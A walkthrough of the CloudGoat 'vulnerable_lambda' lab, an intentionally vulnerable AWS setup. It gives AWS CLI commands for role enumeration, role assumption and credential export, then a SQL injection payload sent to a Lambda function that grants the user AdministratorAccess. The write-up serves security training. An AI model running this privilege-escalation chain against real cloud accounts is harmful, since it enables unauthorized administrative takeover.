CloudGoat 2.0 - vulnerable_lambda
Breaking Down AWS Attack Paths: A Hands-On Approach To AWS security
Table of contents
vulnerable_lambda is one of the scenarios from CloudGoat - An intentionally vulnerable by design AWS setup.
Difficulty: Easy
Hands-On
Task
Initialize the terraform script to set the vulnerable scenario on your AWS account.
./cloudgoat.py create vulnerable_lambda
Once the setup is complete, the new account credentials will be available in the below file.
The task is to use these credentials to authenticate as low privileged user & escalate the privileges in the cloud environment.
Hints
The creator leaves us some hints to leverage & fast-track the win.
Solution
Authenticate using the new credentials. We use bilbo (got from hints screenshot)
# Uses stdout instead of vim to show output
export AWS_PAGER=
aws configure --profile bilbo
Check the user ID and account information
aws sts get-caller-identity --profile bilbo
In the hints screenshot, it says "List IAM" roles. Let's try to do that
aws iam list-roles --profile bilbo | jq '.Roles[].RoleName'
Among tens of roles, these two stand out for me considering, we are solving vulnerable_lambda
challenge. Let's see what they are made of!
The <role_name>
in the below command will be different for you as its randomly generated. Replace it accordingly.
export ROLE_NAME=cg-lambda-invoker-vulnerable_lambda_cgid0isrortd10
aws iam get-role --profile bilbo --role-name $ROLE_NAME | jq -r '.Role.AssumeRolePolicyDocument.Statement'
We have two roles - one can assume any role as the current user & other can assume a role as lambda. Let's assume the cg-lambda-invoker-...
role. To assume, the role, we need the role ARN.
aws iam get-role --profile bilbo --role-name $ROLE_NAME | jq -r '.Role.Arn'
Use the arn from above & use it to assume role
aws sts assume-role --profile bilbo --role-arn arn:aws:iam::558267956267:role/cg-lambda-invoker-vulnerable_lambda_cgid0isrortd10 --role-session-name vulnerable-lambda-session
Create a new profile with this assumed role or export them as environment variables
output=$(aws sts assume-role --profile bilbo --role-arn arn:aws:iam::558267956267:role/cg-lambda-invoker-vulnerable_lambda_cgid0isrortd10 --role-session-name vulnerable-lambda-session)
export AWS_ACCESS_KEY_ID=$(echo $output | jq -r '.Credentials.AccessKeyId')
export AWS_SECRET_ACCESS_KEY=$(echo $output | jq -r '.Credentials.SecretAccessKey')
export AWS_SESSION_TOKEN=$(echo $output | jq -r '.Credentials.SessionToken')
aws sts get-caller-identity
We can see, the current Arn points to vulnerable-lambda-session
, so we are on the right path. Since this user is capable of performing lambda operations, let's try to list the lambda functions.
Lambda functions & analysis
aws lambda list-functions
In the description, we can see, This function will apply a managed policy to the user of your choice, so long as the database says that it's okay...
If that's true, we can add a managed policy like AdministratorAccess
to our user & elevate the privileges. To validate, let's download the source code.
# Get function name
aws lambda list-functions | jq -r '.Functions[].FunctionName'
aws lambda get-function --function-name $(aws lambda list-functions | jq -r '.Functions[].FunctionName') | jq -r '.Code'
Download the source code from this location.
mkdir /tmp/test
wget -O /tmp/test/download.zip $(aws lambda get-function --function-name $(aws lambda list-functions | jq -r '.Functions[].FunctionName') | jq -r '.Code.Location')
cd /tmp/test
unzip download.zip
If you scroll to the end in main.py
, we can the payload structure to invoke the lambda function.
{
"policy_names": [
"AmazonSNSReadOnlyAccess",
"AWSLambda_ReadOnlyAccess"
],
"user_name": "cg-bilbo-user"
}
Check the username of the bilbo
profile user.
aws sts get-caller-identity --profile bilbo
Now, let's use this bilbo user & try to assign overprivileged permissions. In my case, the user_name
is cg-bilbo-vulnerable_lambda_cgid0isrortd10
. Save below inforamtion to payload.json
{
"policy_names": [
"AmazonSNSReadOnlyAccess",
"AWSLambda_ReadOnlyAccess",
"AdministratorAccess"
],
"user_name": "cg-bilbo-vulnerable_lambda_cgid0isrortd10"
}
Let's use the current user with permissions to invoke lambda functions & pass this as input.
aws lambda invoke --function-name vulnerable_lambda_cgid0isrortd10-policy_applier_lambda1 --payload file://./payload.json --cli-binary-format raw-in-base64-out out.txt
If you see the output, it says AdministratorAccess
isn't an approved policy.
SQL Injection
If you see the main.py
code, there's no validation on user input & it open's up a possibility for SQL injection.
Let's try to create a payload with SQL injection.
{
"policy_names": [
"AmazonSNSReadOnlyAccess",
"AWSLambda_ReadOnlyAccess",
"AdministratorAccess' --"
],
"user_name": "cg-bilbo-vulnerable_lambda_cgid0isrortd10"
}
Invoke the lambda function!
aws lambda invoke --function-name vulnerable_lambda_cgid0isrortd10-policy_applier_lambda1 --payload file://./payload.json --cli-binary-format raw-in-base64-out out.txt
Let's check the permissions of this bilbo
user now. We can check it using list-attached-user-policies
aws sts get-caller-identity --profile bilbo # Get user-name from here
aws iam list-attached-user-policies --profile bilbo --user-name cg-bilbo-vulnerable_lambda_cgid0isrortd10
As you can see in the output, we have now AdministratorAccess
We successfully elevated the privileges to be an administrator.